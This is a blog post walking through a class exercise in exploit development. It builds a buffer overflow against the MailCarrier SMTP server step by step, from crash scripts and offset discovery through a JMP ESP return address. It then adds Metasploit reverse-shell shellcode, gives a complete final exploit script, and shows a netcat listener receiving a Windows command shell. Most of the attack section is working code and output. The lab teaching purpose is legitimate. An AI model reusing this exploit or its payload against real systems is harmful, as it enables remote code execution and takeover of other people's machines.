Exploit Development (BOF)


We just finished up the third meeting of the Offensive Security Ohio Chapter.  I think ReL1K was trying to induce an aneurism in his students this week, although I think everyone made it out alive.  He took us head first into what he calls a “simple” buffer overflow exploit of an SMTP mail server called MailCarrier.  You can download the exploit code and installation software from Exploit-DB.  I’m not sure how well this is going to translate, but I’m going to attempt to explain the complete process in the post.

First, on our Windows machine, we install our MailCarrier server and create a new mailbox.

We can verify that the server is listening by running netstat:

netstat -an |find "25"
 TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING
 TCP    192.168.200.201:25     0.0.0.0:0              LISTENING

Next, on our Windows machine, we install Immunity Debugger.  When you first open the debugger, select “File – Attach” and search for the executable that is listening on port 25.

Now that we are attached to our vulnerable executable, we can see the machine code in the upper left section, the CPU registers in the upper right, the memory stack in the lower right, and the memory dump in the lower left.  Notice that the debugger also pauses the executable when it first attaches, so you must hit the play button to resume the executable.

Next, on our BackTrack host, we try to write some code to attempt to crash this service remotely.  If we can control the bits within the EIP and ESP registers, we may be able to execute some fun code of our own.  ESP will hold our executable code and EIP will be the pointer.  To be nice, ReL1k provided us with a skeleton, python exploit script for us to work with:

#!/usr/bin/python
import socket

# create a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# our buffer length
buffer = "A" * 5500

try:
 print "\nSending evil buffer..."
 s.connect(('192.168.200.201', 25))
 s.send('EHLO ' + buffer + '\r\n')
 data = s.recv(1024)
 s.close()
except:
 print "Could not connect to SMTP!"

It simply creates a socket connection to port 25 and sends the EHLO command, followed by a torrent of A’s in hopes of crashing the service.  Let’s look at the debugger after we run this script on our host.

We can see that our EIP and ESP registers are overwritten with A’s!  Now the fun begins.  So, we know that 5500 A’s crashes the service, but we don’t know the exact offset to place our code that will overwrite EIP.  To find this out, we modify the “buffer” string in our code with a unique pattern.  Metasploit has a tool to help create this string called “pattern_create.rb”.  So, we use pattern_create.rb to create a unique string, 5500 characters long.

/pentest/exploits/framework3/tools# ./pattern_create.rb 5500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac...

We then comment out our old buffer of 5500 A’s, and replace it with our new unique string:

#!/usr/bin/python
import socket

# create a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# our buffer length
#buffer = "A" * 5500
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2$

try:
 print "\nSending evil buffer..."
 s.connect(('192.168.200.201', 25))
 s.send('EHLO ' + buffer + '\r\n')
 data = s.recv(1024)
 s.close()
except:
 print "Could not connect to SMTP!"

Let’s start up our debugger again and see what it looks like after the crash.

Now we have a unique string written to our EIP register.  To find out the exact offset of this string, we use another tool from the Metasploit Framework named “pattern_offset.rb”.

/pentest/exploits/framework3/tools# ./pattern_offset.rb 386E4737 5500
5093

And we see that the offset of our unique string is “5093”.  This will be different for each operating system and patch level.  So, let’s verify that we have the correct offset by replacing our buffer string with 5093 A’s, 4 B’s, and 403 C’s, just to keep the length of 5500 characters consistent.

#!/usr/bin/python
 import socket
# create a socket
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# our buffer length
 #buffer = "A" * 5500
 #buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac$
 buffer = "A" * 5093 # pattern offset value
# our EIP overwrite
 buffer += "B" * 4
# our ESP overwrite
 buffer += "C" * 403
try:
 print "\nSending evil buffer..."
 s.connect(('192.168.200.201', 25))
 s.send('EHLO ' + buffer + '\r\n')
 data = s.recv(1024)
 s.close()
except:
 print "Could not connect to SMTP!"

When we run the script now, hopefully, we will see our EIP register overwritten with our B’s and our ESP register overwritten with our C’s.

And here we can see that we have indeed found the exact offset of our EIP register.  Now we just have to figure our how to “jump” to our ESP register, where our executable code will exist.  To make a perfectly consistent exploit across all platforms and patch levels, we would search for this jump in one of the applications own DLL’s loaded in memory.  Since there are none here, we need to find another DLL loaded in memory that utilizes this jump.  Ideally, we want to use a DLL that doesn’t change often between service packs.  Two good places to start are shell32.dll and user32.dll.  So, if we restart our debugger, select “View – Executable Modules”, select “shell32.dll”, then search in the machine code (upper left section) for “JMP ESP”, we see that on my system we have our desired jump at memory address “7C941EED”.

Let’s set a breakpoint here, by pressing “F2”.  We’ll add the jump address to our exploit and some NOP code, more commonly named a “NOP sled”, so we can step through the memory at the point of the crash using “F7”.

#!/usr/bin/python
import socket

# create a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# our buffer length
#buffer = "A" * 5500
#buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac$
buffer = "A" * 5093 # pattern offset value

# our EIP overwrite
#buffer += "B" * 4
# 7C941EED - JMP ESP (XP - SP2)
buffer += "\xED\x1E\x94\x7C"

# our ESP overwrite
#buffer += "C" * 403
buffer += "\x90" * 16 + "C" * 387

try:
 print "\nSending evil buffer..."
 s.connect(('192.168.200.201', 25))
 s.send('EHLO ' + buffer + '\r\n')
 data = s.recv(1024)
 s.close()
except:
 print "Could not connect to SMTP!"

You should notice that the address that we wrote into EIP is somewhat backwards.  We just need to know that the bits stored in our processor are in “little-endian”, and that is how it is going to be read at execution.

This is where we ran out of time in the class, so here is my ad-lib for the rest of the exploit.

If we execute the code again, we should stop at our breakpoint, then move into our NOP sled by hitting “F7”.

We’re almost there.  All we need now is to add some interesting executable code to the end of our NOP sled.  To generate this code we use the Metasploit Framework again.  Let’s generate some shell code that will create a reverse shell session back to our BackTrack machine at 192.168.200.1:443.

/pentest/exploits/framework3/tools# msfpayload windows/shell_reverse_tcp LHOST=192.168.200.1 LPORT=443 C
/*
 * windows/shell_reverse_tcp - 314 bytes
 * http://www.metasploit.com
 * AutoRunScript=, LHOST=192.168.200.1, EXITFUNC=process,
 * InitialAutoRunScript=, LPORT=443, ReverseConnectRetries=5
 */
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\xc0\xa8\xc8\x01\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
"\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

This shell code will not work as presented because it has “x00” contained within it, which is a string terminator in C language.  Other characters to avoid are “line feed” (x0a)  and “carriage return” (x0d).  So, we must pipe our msfpayload command into msfencode to remove any of these characters that will terminate our working exploit code.

/pentest/exploits/framework3/tools# msfpayload windows/shell_reverse_tcp LHOST=192.168.200.1 LPORT=443 R | msfencode -a x86 -b 'x00\x0a\x0d' -t c
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)

unsigned char buf[] =
"\xd9\xec\xba\xf9\x88\x98\xf1\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x4f\x83\xc0\x04\x31\x50\x15\x03\x50\x15\x1b\x7d\x64\x19\x52"
"\x7e\x95\xda\x04\xf6\x70\xeb\x16\x6c\xf0\x5e\xa6\xe6\x54\x53"
"\x4d\xaa\x4c\xe0\x23\x63\x62\x41\x89\x55\x4d\x52\x3c\x5a\x01"
"\x90\x5f\x26\x58\xc5\xbf\x17\x93\x18\xbe\x50\xce\xd3\x92\x09"
"\x84\x46\x02\x3d\xd8\x5a\x23\x91\x56\xe2\x5b\x94\xa9\x97\xd1"
"\x97\xf9\x08\x6e\xdf\xe1\x23\x28\xc0\x10\xe7\x2b\x3c\x5a\x8c"
"\x9f\xb6\x5d\x44\xee\x37\x6c\xa8\xbc\x09\x40\x25\xbd\x4e\x67"
"\xd6\xc8\xa4\x9b\x6b\xca\x7e\xe1\xb7\x5f\x63\x41\x33\xc7\x47"
"\x73\x90\x91\x0c\x7f\x5d\xd6\x4b\x9c\x60\x3b\xe0\x98\xe9\xba"
"\x27\x29\xa9\x98\xe3\x71\x69\x81\xb2\xdf\xdc\xbe\xa5\xb8\x81"
"\x1a\xad\x2b\xd5\x1c\xec\x23\x1a\x12\x0f\xb4\x34\x25\x7c\x86"
"\x9b\x9d\xea\xaa\x54\x3b\xec\xcd\x4e\xfb\x62\x30\x71\xfb\xab"
"\xf7\x25\xab\xc3\xde\x45\x20\x14\xde\x93\xe6\x44\x70\x4c\x46"
"\x35\x30\x3c\x2e\x5f\xbf\x63\x4e\x60\x15\x12\x49\xf7\x56\x8d"
"\x9d\x09\x3f\xcc\x1d\x0b\x04\x59\xfb\x61\x6a\x0c\x54\x1e\x13"
"\x15\x2e\xbf\xdc\x83\xa6\x5c\x4e\x48\x36\x2a\x73\xc7\x61\x7b"
"\x45\x1e\xe7\x91\xfc\x88\x15\x68\x98\xf3\x9d\xb7\x59\xfd\x1c"
"\x35\xe5\xd9\x0e\x83\xe6\x65\x7a\x5b\xb1\x33\xd4\x1d\x6b\xf2"
"\x8e\xf7\xc0\x5c\x46\x81\x2a\x5f\x10\x8e\x66\x29\xfc\x3f\xdf"
"\x6c\x03\x8f\xb7\x78\x7c\xed\x27\x86\x57\xb5\x58\xcd\xf5\x9c"
"\xf0\x88\x6c\x9d\x9c\x2a\x5b\xe2\x98\xa8\x69\x9b\x5e\xb0\x18"
"\x9e\x1b\x76\xf1\xd2\x34\x13\xf5\x41\x34\x36";

All we need to do now is add this shell code to our exploit and we should be in business!  Here is the complete, cleaned up, final code:

#!/usr/bin/python
import socket

# create a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# our buffer length
buffer = "A" * 5093 # pattern offset value

# our EIP overwrite
# 7C941EED - JMP ESP (XP - SP2)
buffer += "\xED\x1E\x94\x7C"

# our ESP overwrite
buffer += "\x90" * 16 # NOP sled

# reverse bind shell to 192.168.200.1:443
buffer += ("\xd9\xec\xba\xf9\x88\x98\xf1\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x4f\x83\xc0\x04\x31\x50\x15\x03\x50\x15\x1b\x7d\x64\x19\x52"
"\x7e\x95\xda\x04\xf6\x70\xeb\x16\x6c\xf0\x5e\xa6\xe6\x54\x53"
"\x4d\xaa\x4c\xe0\x23\x63\x62\x41\x89\x55\x4d\x52\x3c\x5a\x01"
"\x90\x5f\x26\x58\xc5\xbf\x17\x93\x18\xbe\x50\xce\xd3\x92\x09"
"\x84\x46\x02\x3d\xd8\x5a\x23\x91\x56\xe2\x5b\x94\xa9\x97\xd1"
"\x97\xf9\x08\x6e\xdf\xe1\x23\x28\xc0\x10\xe7\x2b\x3c\x5a\x8c"
"\x9f\xb6\x5d\x44\xee\x37\x6c\xa8\xbc\x09\x40\x25\xbd\x4e\x67"
"\xd6\xc8\xa4\x9b\x6b\xca\x7e\xe1\xb7\x5f\x63\x41\x33\xc7\x47"
"\x73\x90\x91\x0c\x7f\x5d\xd6\x4b\x9c\x60\x3b\xe0\x98\xe9\xba"
"\x27\x29\xa9\x98\xe3\x71\x69\x81\xb2\xdf\xdc\xbe\xa5\xb8\x81"
"\x1a\xad\x2b\xd5\x1c\xec\x23\x1a\x12\x0f\xb4\x34\x25\x7c\x86"
"\x9b\x9d\xea\xaa\x54\x3b\xec\xcd\x4e\xfb\x62\x30\x71\xfb\xab"
"\xf7\x25\xab\xc3\xde\x45\x20\x14\xde\x93\xe6\x44\x70\x4c\x46"
"\x35\x30\x3c\x2e\x5f\xbf\x63\x4e\x60\x15\x12\x49\xf7\x56\x8d"
"\x9d\x09\x3f\xcc\x1d\x0b\x04\x59\xfb\x61\x6a\x0c\x54\x1e\x13"
"\x15\x2e\xbf\xdc\x83\xa6\x5c\x4e\x48\x36\x2a\x73\xc7\x61\x7b"
"\x45\x1e\xe7\x91\xfc\x88\x15\x68\x98\xf3\x9d\xb7\x59\xfd\x1c"
"\x35\xe5\xd9\x0e\x83\xe6\x65\x7a\x5b\xb1\x33\xd4\x1d\x6b\xf2"
"\x8e\xf7\xc0\x5c\x46\x81\x2a\x5f\x10\x8e\x66\x29\xfc\x3f\xdf"
"\x6c\x03\x8f\xb7\x78\x7c\xed\x27\x86\x57\xb5\x58\xcd\xf5\x9c"
"\xf0\x88\x6c\x9d\x9c\x2a\x5b\xe2\x98\xa8\x69\x9b\x5e\xb0\x18"
"\x9e\x1b\x76\xf1\xd2\x34\x13\xf5\x41\x34\x36")

try:
 print "\nSending evil buffer..."
 s.connect(('192.168.200.201', 25))
 s.send('EHLO ' + buffer + '\r\n')
 data = s.recv(1024)
 s.close()
except:
 print "Could not connect to SMTP!"

Let’s setup a netcat listener, execute the code, and see if we get a shell…

/pentest/exploits/framework3/tools# nc -lvp 443
listening on [any] 443 ...
192.168.200.201: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.200.1] from (UNKNOWN) [192.168.200.201] 1104
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

 Connection-specific DNS Suffix  . :
 IP Address. . . . . . . . . . . . : 192.168.200.201
 Subnet Mask . . . . . . . . . . . : 255.255.255.0
 Default Gateway . . . . . . . . . : 192.168.200.2

C:\WINDOWS\system32>

Success!  Our first “simple” exploit is complete!

Comments are closed.